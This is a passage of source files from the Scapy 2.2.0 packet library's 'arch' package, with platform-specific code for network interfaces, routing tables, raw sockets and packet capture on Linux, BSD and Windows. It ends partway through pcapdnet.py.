pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Operating system specific functionality. """ import sys,os,socket from scapy.error import * import scapy.config try: import Gnuplot GNUPLOT=1 except ImportError: log_loading.info("Can't import python gnuplot wrapper . Won't be able to plot.") GNUPLOT=0 try: import pyx PYX=1 except ImportError: log_loading.info("Can't import PyX. Won't be able to use psdump() or pdfdump().") PYX=0 def str2mac(s): return ("%02x:"*6)[:-1] % tuple(map(ord, s)) def get_if_addr(iff): return socket.inet_ntoa(get_if_raw_addr(iff)) def get_if_hwaddr(iff): addrfamily, mac = get_if_raw_hwaddr(iff) if addrfamily in [ARPHDR_ETHER,ARPHDR_LOOPBACK]: return str2mac(mac) else: raise Scapy_Exception("Unsupported address family (%i) for interface [%s]" % (addrfamily,iff)) LINUX=sys.platform.startswith("linux") OPENBSD=sys.platform.startswith("openbsd") FREEBSD=sys.platform.startswith("freebsd") NETBSD = sys.platform.startswith("netbsd") DARWIN=sys.platform.startswith("darwin") SOLARIS=sys.platform.startswith("sunos") WINDOWS=sys.platform.startswith("win32") X86_64 = not WINDOWS and (os.uname()[4] == 'x86_64') # Next step is to import following architecture specific functions: # def get_if_raw_hwaddr(iff) # def get_if_raw_addr(iff): # def get_if_list(): # def get_working_if(): # def attach_filter(s, filter): # def set_promisc(s,iff,val=1): # def read_routes(): # def get_if(iff,cmd): # def get_if_index(iff): if LINUX: from linux import * if scapy.config.conf.use_pcap or scapy.config.conf.use_dnet: from pcapdnet import * elif OPENBSD or FREEBSD or NETBSD or DARWIN: from bsd import * elif SOLARIS: from solaris import * elif WINDOWS: from windows import * if scapy.config.conf.iface is None: scapy.config.conf.iface = LOOPBACK_NAME def get_if_raw_addr6(iff): """ Returns the main global unicast address associated with provided interface, in network format. If no global address is found, None is returned. """ r = filter(lambda x: x[2] == iff and x[1] == IPV6_ADDR_GLOBAL, in6_getifaddr()) if len(r) == 0: return None else: r = r[0][0] return inet_pton(socket.AF_INET6, r) scapy-2.2.0/scapy/arch/bsd.py0000644000175000017500000000050611430356063014120 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Support for BSD-like operating systems such as FreeBSD, OpenBSD and Mac OS X. """ LOOPBACK_NAME="lo0" from unix import * scapy-2.2.0/scapy/arch/linux.py0000644000175000017500000004032511430356063014512 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Linux specific functions. """ from __future__ import with_statement import sys,os,struct,socket,time from select import select from fcntl import ioctl import scapy.utils import scapy.utils6 from scapy.config import conf from scapy.data import * from scapy.supersocket import SuperSocket import scapy.arch from scapy.error import warning # From bits/ioctls.h SIOCGIFHWADDR = 0x8927 # Get hardware address SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891b # get network PA mask SIOCGIFNAME = 0x8910 # get iface name SIOCSIFLINK = 0x8911 # set iface channel SIOCGIFCONF = 0x8912 # get iface list SIOCGIFFLAGS = 0x8913 # get flags SIOCSIFFLAGS = 0x8914 # set flags SIOCGIFINDEX = 0x8933 # name -> if_index mapping SIOCGIFCOUNT = 0x8938 # get number of devices SIOCGSTAMP = 0x8906 # get packet timestamp (as a timeval) # From if.h IFF_UP = 0x1 # Interface is up. IFF_BROADCAST = 0x2 # Broadcast address valid. IFF_DEBUG = 0x4 # Turn on debugging. IFF_LOOPBACK = 0x8 # Is a loopback net. IFF_POINTOPOINT = 0x10 # Interface is point-to-point link. IFF_NOTRAILERS = 0x20 # Avoid use of trailers. IFF_RUNNING = 0x40 # Resources allocated. IFF_NOARP = 0x80 # No address resolution protocol. IFF_PROMISC = 0x100 # Receive all packets. # From netpacket/packet.h PACKET_ADD_MEMBERSHIP = 1 PACKET_DROP_MEMBERSHIP = 2 PACKET_RECV_OUTPUT = 3 PACKET_RX_RING = 5 PACKET_STATISTICS = 6 PACKET_MR_MULTICAST = 0 PACKET_MR_PROMISC = 1 PACKET_MR_ALLMULTI = 2 # From bits/socket.h SOL_PACKET = 263 # From asm/socket.h SO_ATTACH_FILTER = 26 SOL_SOCKET = 1 # From net/route.h RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 LOOPBACK_NAME="lo" with os.popen("tcpdump -V 2> /dev/null") as _f: if _f.close() >> 8 == 0x7f: log_loading.warning("Failed to execute tcpdump. Check it is installed and in the PATH") TCPDUMP=0 else: TCPDUMP=1 del(_f) def get_if_raw_hwaddr(iff): return struct.unpack("16xh6s8x",get_if(iff,SIOCGIFHWADDR)) def get_if_raw_addr(iff): try: return get_if(iff, SIOCGIFADDR)[20:24] except IOError: return "\0\0\0\0" def get_if_list(): f=open("/proc/net/dev","r") lst = [] f.readline() f.readline() for l in f: lst.append(l.split(":")[0].strip()) return lst def get_working_if(): for i in get_if_list(): if i == LOOPBACK_NAME: continue ifflags = struct.unpack("16xH14x",get_if(i,SIOCGIFFLAGS))[0] if ifflags & IFF_UP: return i return LOOPBACK_NAME def attach_filter(s, filter): # XXX We generate the filter on the interface conf.iface # because tcpdump open the "any" interface and ppp interfaces # in cooked mode. As we use them in raw mode, the filter will not # work... one solution could be to use "any" interface and translate # the filter from cooked mode to raw mode # mode if not TCPDUMP: return try: f = os.popen("%s -i %s -ddd -s 1600 '%s'" % (conf.prog.tcpdump,conf.iface,filter)) except OSError,msg: log_interactive.warning("Failed to execute tcpdump: (%s)") return lines = f.readlines() if f.close(): raise Scapy_Exception("Filter parse error") nb = int(lines[0]) bpf = "" for l in lines[1:]: bpf += struct.pack("HBBI",*map(long,l.split())) # XXX. Argl! We need to give the kernel a pointer on the BPF, # python object header seems to be 20 bytes. 36 bytes for x86 64bits arch. if scapy.arch.X86_64: bpfh = struct.pack("HL", nb, id(bpf)+36) else: bpfh = struct.pack("HI", nb, id(bpf)+20) s.setsockopt(SOL_SOCKET, SO_ATTACH_FILTER, bpfh) def set_promisc(s,iff,val=1): mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, "") if val: cmd = PACKET_ADD_MEMBERSHIP else: cmd = PACKET_DROP_MEMBERSHIP s.setsockopt(SOL_PACKET, cmd, mreq) def read_routes(): f=open("/proc/net/route","r") routes = [] s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x",LOOPBACK_NAME)) addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifreq2 = ioctl(s, SIOCGIFNETMASK,struct.pack("16s16x",LOOPBACK_NAME)) msk = socket.ntohl(struct.unpack("I",ifreq2[20:24])[0]) dst = socket.ntohl(struct.unpack("I",ifreq[20:24])[0]) & msk ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr)) else: warning("Interface lo: unkown address family (%i)"% addrfamily) for l in f.readlines()[1:]: iff,dst,gw,flags,x,x,x,msk,x,x,x = l.split() flags = int(flags,16) if flags & RTF_UP == 0: continue if flags & RTF_REJECT: continue try: ifreq = ioctl(s, SIOCGIFADDR,struct.pack("16s16x",iff)) except IOError: # interface is present in routing tables but does not have any assigned IP ifaddr="0.0.0.0" else: addrfamily = struct.unpack("h",ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) else: warning("Interface %s: unkown address family (%i)"%(iff, addrfamily)) continue routes.append((socket.htonl(long(dst,16))&0xffffffffL, socket.htonl(long(msk,16))&0xffffffffL, scapy.utils.inet_ntoa(struct.pack("I",long(gw,16))), iff, ifaddr)) f.close() return routes ############ ### IPv6 ### ############ def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'ifcace'. This is the list of all addresses of all interfaces available on the system. """ ret = [] try: f = open("/proc/net/if_inet6","r") except IOError, err: return ret l = f.readlines() for i in l: # addr, index, plen, scope, flags, ifname tmp = i.split() addr = struct.unpack('4s4s4s4s4s4s4s4s', tmp[0]) addr = scapy.utils6.in6_ptop(':'.join(addr)) ret.append((addr, int(tmp[3], 16), tmp[5])) # (addr, scope, iface) return ret def read_routes6(): try: f = open("/proc/net/ipv6_route","r") except IOError, err: return [] # 1. destination network # 2. destination prefix length # 3. source network displayed # 4. source prefix length # 5. next hop # 6. metric # 7. reference counter (?!?) # 8. use counter (?!?) # 9. flags # 10. device name routes = [] def proc2r(p): ret = struct.unpack('4s4s4s4s4s4s4s4s', p) ret = ':'.join(ret) return scapy.utils6.in6_ptop(ret) lifaddr = in6_getifaddr() for l in f.readlines(): d,dp,s,sp,nh,m,rc,us,fl,dev = l.split() fl = int(fl, 16) if fl & RTF_UP == 0: continue if fl & RTF_REJECT: continue d = proc2r(d) ; dp = int(dp, 16) s = proc2r(s) ; sp = int(sp, 16) nh = proc2r(nh) cset = [] # candidate set (possible source addresses) if dev == LOOPBACK_NAME: if d == '::': continue cset = ['::1'] else: devaddrs = filter(lambda x: x[2] == dev, lifaddr) cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs, LOOPBACK_NAME) if len(cset) != 0: routes.append((d, dp, nh, dev, cset)) f.close() return routes def get_if(iff,cmd): s=socket.socket() ifreq = ioctl(s, cmd, struct.pack("16s16x",iff)) s.close() return ifreq def get_if_index(iff): return int(struct.unpack("I",get_if(iff, SIOCGIFINDEX)[16:20])[0]) if os.uname()[4] == 'x86_64': def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "1234567890123456") s,us = struct.unpack("QQ",ts) return s+us/1000000.0 else: def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "12345678") s,us = struct.unpack("II",ts) return s+us/1000000.0 def _flush_fd(fd): if type(fd) is not int: fd = fd.fileno() while 1: r,w,e = select([fd],[],[],0) if r: os.read(fd,MTU) else: break class L3PacketSocket(SuperSocket): desc = "read/write packets at layer 3 using Linux PF_PACKET sockets" def __init__(self, type = ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): self.type = type self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) _flush_fd(self.ins) if iface: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) if promisc is None: promisc = conf.promisc self.promisc = promisc if self.promisc: if iface is None: self.iff = get_if_list() else: if iface.__class__ is list: self.iff = iface else: self.iff = [iface] for i in self.iff: set_promisc(self.ins, i) def close(self): if self.closed: return self.closed=1 if self.promisc: for i in self.iff: set_promisc(self.ins, i, 0) SuperSocket.close(self) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) lvl = 2 try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): iff,a,gw = x.route() if iff is None: iff = conf.iface sdto = (iff, self.type) self.outs.bind(sdto) sn = self.outs.getsockname() ll = lambda x:x if type(x) in conf.l3types: sdto = (iff, conf.l3types[type(x)]) if sn[3] in conf.l2types: ll = lambda x:conf.l2types[sn[3]]()/x try: sx = str(ll(x)) x.sent_time = time.time() self.outs.sendto(sx, sdto) except socket.error,msg: x.sent_time = time.time() # bad approximation if conf.auto_fragment and msg[0] == 90: for p in x.fragment(): self.outs.sendto(str(ll(p)), sdto) else: raise class L2Socket(SuperSocket): desc = "read/write packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface = None, type = ETH_P_ALL, filter=None, nofilter=0): if iface is None: iface = conf.iface self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) _flush_fd(self.ins) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter) self.ins.bind((iface, type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = self.ins self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) sa_ll = self.outs.getsockname() if sa_ll[3] in conf.l2types: self.LL = conf.l2types[sa_ll[3]] elif sa_ll[1] in conf.l3types: self.LL = conf.l3types[sa_ll[1]] else: self.LL = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],self.LL.name)) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None try: q = self.LL(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise q = conf.raw_layer(pkt) q.time = get_last_packet_timestamp(self.ins) return q class L2ListenSocket(SuperSocket): desc = "read packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface = None, type = ETH_P_ALL, promisc=None, filter=None, nofilter=0): self.type = type self.outs = None self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) _flush_fd(self.ins) if iface is not None: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter) if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc if iface is None: self.iff = get_if_list() else: if iface.__class__ is list: self.iff = iface else: self.iff = [iface] if self.promisc: for i in self.iff: set_promisc(self.ins, i) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) def close(self): if self.promisc: for i in self.iff: set_promisc(self.ins, i, 0) SuperSocket.close(self) def recv(self, x): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[3] in conf.l2types : cls = conf.l2types[sa_ll[3]] elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): raise Scapy_Exception("Can't send anything with L2ListenSocket") conf.L3socket = L3PacketSocket conf.L2socket = L2Socket conf.L2listen = L2ListenSocket conf.iface = get_working_if() scapy-2.2.0/scapy/arch/windows/0000755000175000017500000000000011532602317014466 5ustar pbipbiscapy-2.2.0/scapy/arch/windows/__init__.py0000755000175000017500000004606211430356064016614 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Customizations needed to support Microsoft Windows. """ import os,re,sys,socket,time from glob import glob from scapy.config import conf,ConfClass from scapy.error import Scapy_Exception,log_loading,log_runtime from scapy.utils import atol, inet_aton, inet_ntoa, PcapReader from scapy.base_classes import Gen, Net, SetGen import scapy.plist as plist from scapy.sendrecv import debug, srp1 from scapy.layers.l2 import Ether, ARP from scapy.data import MTU, ETHER_BROADCAST, ETH_P_ARP conf.use_pcap = 1 conf.use_dnet = 1 from scapy.arch import pcapdnet from scapy.arch.pcapdnet import * LOOPBACK_NAME="lo0" WINDOWS = True def _where(filename, dirs=[], env="PATH"): """Find file in current dir or system path""" if not isinstance(dirs, list): dirs = [dirs] if glob(filename): return filename paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs for path in paths: for match in glob(os.path.join(path, filename)): if match: return os.path.normpath(match) raise IOError("File not found: %s" % filename) def win_find_exe(filename, installsubdir=None, env="ProgramFiles"): """Find executable in current dir, system path or given ProgramFiles subdir""" for fn in [filename, filename+".exe"]: try: if installsubdir is None: path = _where(fn) else: path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)]) except IOError: path = filename else: break return path class WinProgPath(ConfClass): _default = "" # We try some magic to find the appropriate executables pdfreader = win_find_exe("AcroRd32") psreader = win_find_exe("gsview32.exe", "Ghostgum/gsview") dot = win_find_exe("dot", "ATT/Graphviz/bin") tcpdump = win_find_exe("windump") tcpreplay = win_find_exe("tcpreplay") display = _default hexedit = win_find_exe("hexer") wireshark = win_find_exe("wireshark", "wireshark") conf.prog = WinProgPath() import _winreg class PcapNameNotFoundError(Scapy_Exception): pass class NetworkInterface(object): """A network interface of your local host""" def __init__(self, dnetdict=None): self.name = None self.ip = None self.mac = None self.pcap_name = None self.win_name = None self.uuid = None self.dnetdict = dnetdict if dnetdict is not None: self.update(dnetdict) def update(self, dnetdict): """Update info about network interface according to given dnet dictionary""" self.name = dnetdict["name"] # Other attributes are optional try: self.ip = socket.inet_ntoa(dnetdict["addr"].ip) except (KeyError, AttributeError, NameError): pass try: self.mac = dnetdict["link_addr"] except KeyError: pass self._update_pcapdata() def _update_pcapdata(self): """Supplement more info from pypcap and the Windows registry""" # XXX: We try eth0 - eth29 by bruteforce and match by IP address, # because only the IP is available in both pypcap and dnet. # This may not work with unorthodox network configurations and is # slow because we have to walk through the Windows registry. for n in range(30): guess = "eth%s" % n win_name = pcapdnet.pcap.ex_name(guess) if win_name.endswith("}"): try: uuid = win_name[win_name.index("{"):win_name.index("}")+1] keyname = r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\%s" % uuid try: key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, keyname) except WindowsError: log_loading.debug("Couldn't open 'HKEY_LOCAL_MACHINE\\%s' (for guessed pcap iface name '%s')." % (keyname, guess)) continue try: fixed_ip = _winreg.QueryValueEx(key, "IPAddress")[0][0].encode("utf-8") except (WindowsError, UnicodeDecodeError, IndexError): fixed_ip = None try: dhcp_ip = _winreg.QueryValueEx(key, "DhcpIPAddress")[0].encode("utf-8") except (WindowsError, UnicodeDecodeError, IndexError): dhcp_ip = None # "0.0.0.0" or None means the value is not set (at least not correctly). # If both fixed_ip and dhcp_ip are set, fixed_ip takes precedence if fixed_ip is not None and fixed_ip != "0.0.0.0": ip = fixed_ip elif dhcp_ip is not None and dhcp_ip != "0.0.0.0": ip = dhcp_ip else: continue except IOError: continue else: if ip == self.ip: self.pcap_name = guess self.win_name = win_name self.uuid = uuid break else: raise PcapNameNotFoundError def __repr__(self): return "<%s: %s %s %s pcap_name=%s win_name=%s>" % (self.__class__.__name__, self.name, self.ip, self.mac, self.pcap_name, self.win_name) from UserDict import IterableUserDict class NetworkInterfaceDict(IterableUserDict): """Store information about network interfaces and convert between names""" def load_from_dnet(self): """Populate interface table via dnet""" for i in pcapdnet.dnet.intf(): try: # XXX: Only Ethernet for the moment: localhost is not supported by dnet and pcap # We only take interfaces that have an IP address, because the IP # is used for the mapping between dnet and pcap interface names # and this significantly improves Scapy's startup performance if i["name"].startswith("eth") and "addr" in i: self.data[i["name"]] = NetworkInterface(i) except (KeyError, PcapNameNotFoundError): pass if len(self.data) == 0: log_loading.warning("No match between your pcap and dnet network interfaces found. " "You probably won't be able to send packets. " "Deactivating unneeded interfaces and restarting Scapy might help.") def pcap_name(self, devname): """Return pypcap device name for given libdnet/Scapy device name This mapping is necessary because pypcap numbers the devices differently.""" try: pcap_name = self.data[devname].pcap_name except KeyError: raise ValueError("Unknown network interface %r" % devname) else: return pcap_name def devname(self, pcap_name): """Return libdnet/Scapy device name for given pypcap device name This mapping is necessary because pypcap numbers the devices differently.""" for devname, iface in self.items(): if iface.pcap_name == pcap_name: return iface.name raise ValueError("Unknown pypcap network interface %r" % pcap_name) def show(self, resolve_mac=True): """Print list of available network interfaces in human readable form""" print "%s %s %s" % ("IFACE".ljust(5), "IP".ljust(15), "MAC") for iface_name in sorted(self.data.keys()): dev = self.data[iface_name] mac = str(dev.mac) if resolve_mac: mac = conf.manufdb._resolve_MAC(mac) print "%s %s %s" % (str(dev.name).ljust(5), str(dev.ip).ljust(15), mac) ifaces = NetworkInterfaceDict() ifaces.load_from_dnet() def pcap_name(devname): """Return pypcap device name for given libdnet/Scapy device name""" try: pcap_name = ifaces.pcap_name(devname) except ValueError: # pcap.pcap() will choose a sensible default for sniffing if iface=None pcap_name = None return pcap_name def devname(pcap_name): """Return libdnet/Scapy device name for given pypcap device name""" return ifaces.devname(pcap_name) def show_interfaces(resolve_mac=True): """Print list of available network interfaces""" return ifaces.show(resolve_mac) _orig_open_pcap = pcapdnet.open_pcap pcapdnet.open_pcap = lambda iface,*args,**kargs: _orig_open_pcap(pcap_name(iface),*args,**kargs) def read_routes(): ok = 0 routes = [] ip = '(\d+\.\d+\.\d+\.\d+)' # On Vista and Windows 7 the gateway can be IP or 'On-link'. # But the exact 'On-link' string depends on the locale, so we allow any text. gw_pattern = '(.+)' metric_pattern = "(\d+)" delim = "\s+" # The columns are separated by whitespace netstat_line = delim.join([ip, ip, gw_pattern, ip, metric_pattern]) pattern = re.compile(netstat_line) f=os.popen("netstat -rn") for l in f.readlines(): match = re.search(pattern,l) if match: dest = match.group(1) mask = match.group(2) gw = match.group(3) netif = match.group(4) metric = match.group(5) try: intf = pcapdnet.dnet.intf().get_dst(pcapdnet.dnet.addr(type=2, addrtxt=dest)) except OSError: log_loading.warning("Building Scapy's routing table: Couldn't get outgoing interface for destination %s" % dest) continue if not intf.has_key("addr"): break addr = str(intf["addr"]) addr = addr.split("/")[0] dest = atol(dest) mask = atol(mask) # If the gateway is no IP we assume it's on-link gw_ipmatch = re.search('\d+\.\d+\.\d+\.\d+', gw) if gw_ipmatch: gw = gw_ipmatch.group(0) else: gw = netif routes.append((dest,mask,gw, str(intf["name"]), addr)) f.close() return routes def read_routes6(): return [] def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip,Net): ip = iter(ip).next() tmp = map(ord, inet_aton(ip)) if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3]) iff,a,gw = conf.route.route(ip) if ( (iff == LOOPBACK_NAME) or (ip == conf.route.get_if_bcast(iff)) ): return "ff:ff:ff:ff:ff:ff" # Windows uses local IP instead of 0.0.0.0 to represent locally reachable addresses ifip = str(pcapdnet.dnet.intf().get(iff)['addr']) if gw != ifip.split('/')[0]: ip = gw mac = conf.netcache.arp_cache.get(ip) if mac: return mac res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface = iff, timeout=2, verbose=0, chainCC=chainCC, nofilter=1) if res is not None: mac = res.payload.hwsrc conf.netcache.arp_cache[ip] = mac return mac return None import scapy.layers.l2 scapy.layers.l2.getmacbyip = getmacbyip try: import readline console = readline.GetOutputFile() except (ImportError, AttributeError): log_loading.info("Could not get readline console. Will not interpret ANSI color codes.") else: conf.readfunc = readline.rl.readline orig_stdout = sys.stdout sys.stdout = console def sndrcv(pks, pkt, timeout = 2, inter = 0, verbose=None, chainCC=0, retry=0, multi=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) if verbose is None: verbose = conf.verb debug.recv = plist.PacketList([],"Unanswered") debug.sent = plist.PacketList([],"Sent") debug.match = plist.SndRcvList([]) nbrecv=0 ans = [] # do it here to fix random fields, so that parent and child have the same all_stimuli = tobesent = [p for p in pkt] notans = len(tobesent) hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] if retry < 0: retry = -retry autostop=retry else: autostop=0 while retry >= 0: found=0 if timeout < 0: timeout = None pid=1 try: if WINDOWS or pid == 0: try: try: i = 0 if verbose: print "Begin emission:" for p in tobesent: pks.send(p) i += 1 time.sleep(inter) if verbose: print "Finished to send %i packets." % i except SystemExit: pass except KeyboardInterrupt: pass except: log_runtime.exception("--- Error sending packets") log_runtime.info("--- Error sending packets") finally: try: sent_times = [p.sent_time for p in all_stimuli if p.sent_time] except: pass if WINDOWS or pid > 0: # Timeout starts after last packet is sent (as in Unix version) if timeout: stoptime = time.time()+timeout else: stoptime = 0 remaintime = None inmask = [pks.ins.fd] try: try: while 1: if stoptime: remaintime = stoptime-time.time() if remaintime <= 0: break r = pks.recv(MTU) if r is None: continue ok = 0 h = r.hashret() if h in hsent: hlst = hsent[h] for i in range(len(hlst)): if r.answers(hlst[i]): ans.append((hlst[i],r)) if verbose > 1: os.write(1, "*") ok = 1 if not multi: del(hlst[i]) notans -= 1; else: if not hasattr(hlst[i], '_answered'): notans -= 1; hlst[i]._answered = 1; break if notans == 0 and not multi: break if not ok: if verbose > 1: os.write(1, ".") nbrecv += 1 if conf.debug_match: debug.recv.append(r) except KeyboardInterrupt: if chainCC: raise finally: if WINDOWS: for p,t in zip(all_stimuli, sent_times): p.sent_time = t finally: pass remain = reduce(list.__add__, hsent.values(), []) if multi: remain = filter(lambda p: not hasattr(p, '_answered'), remain); if autostop and len(remain) > 0 and len(remain) != len(tobesent): retry = autostop tobesent = remain if len(tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent=plist.PacketList(remain[:],"Sent") debug.match=plist.SndRcvList(ans[:]) #clean the ans list to delete the field _answered if (multi): for s,r in ans: if hasattr(s, '_answered'): del(s._answered) if verbose: print "\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans) return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered") import scapy.sendrecv scapy.sendrecv.sndrcv = sndrcv def sniff(count=0, store=1, offline=None, prn = None, lfilter=None, L2socket=None, timeout=None, *arg, **karg): """Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket """ c = 0 if offline is None: if L2socket is None: L2socket = conf.L2listen s = L2socket(type=ETH_P_ALL, *arg, **karg) else: s = PcapReader(offline) lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None while 1: try: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break try: p = s.recv(MTU) except PcapTimeoutElapsed: continue if p is None: break if lfilter and not lfilter(p): continue if store: lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print r if count > 0 and c >= count: break except KeyboardInterrupt: break s.close() return plist.PacketList(lst,"Sniffed") import scapy.sendrecv scapy.sendrecv.sniff = sniff def get_if_list(): return sorted(ifaces.keys()) def get_working_if(): try: return devname(pcap.lookupdev()) except Exception: return 'lo0' scapy-2.2.0/scapy/arch/pcapdnet.py0000644000175000017500000003106711430356063015154 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Packet sending and receiving with libdnet and libpcap/WinPcap. """ import time,struct,sys if not sys.platform.startswith("win"): from fcntl import ioctl from scapy.data import * from scapy.config import conf from scapy.utils import warning from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception import scapy.arch if conf.use_pcap: try: import pcap except ImportError,e: try: import pcapy as pcap except ImportError,e2: if conf.interactive: log_loading.error("Unable to import pcap module: %s/%s" % (e,e2)) conf.use_pcap = False else: raise if conf.use_pcap: # From BSD net/bpf.h #BIOCIMMEDIATE=0x80044270 BIOCIMMEDIATE=-2147204496 if hasattr(pcap,"pcap"): # python-pypcap class _PcapWrapper_pypcap: def __init__(self, device, snaplen, promisc, to_ms): try: self.pcap = pcap.pcap(device, snaplen, promisc, immediate=1, timeout_ms=to_ms) except TypeError: # Older pypcap versions do not support the timeout_ms argument self.pcap = pcap.pcap(device, snaplen, promisc, immediate=1) def __getattr__(self, attr): return getattr(self.pcap, attr) open_pcap = lambda *args,**kargs: _PcapWrapper_pypcap(*args,**kargs) elif hasattr(pcap,"pcapObject"): # python-libpcap class _PcapWrapper_libpcap: def __init__(self, *args, **kargs): self.pcap = pcap.pcapObject() self.pcap.open_live(*args, **kargs) def setfilter(self, filter): self.pcap.setfilter(filter, 0, 0) def next(self): c = self.pcap.next() if c is None: return l,pkt,ts = c return ts,pkt def __getattr__(self, attr): return getattr(self.pcap, attr) open_pcap = lambda *args,**kargs: _PcapWrapper_libpcap(*args,**kargs) elif hasattr(pcap,"open_live"): # python-pcapy class _PcapWrapper_pcapy: def __init__(self, *args, **kargs): self.pcap = pcap.open_live(*args, **kargs) def next(self): try: c = self.pcap.next() except pcap.PcapError: return None else: h,p = c s,us = h.getts() return (s+0.000001*us), p def fileno(self): warning("fileno: pcapy API does not 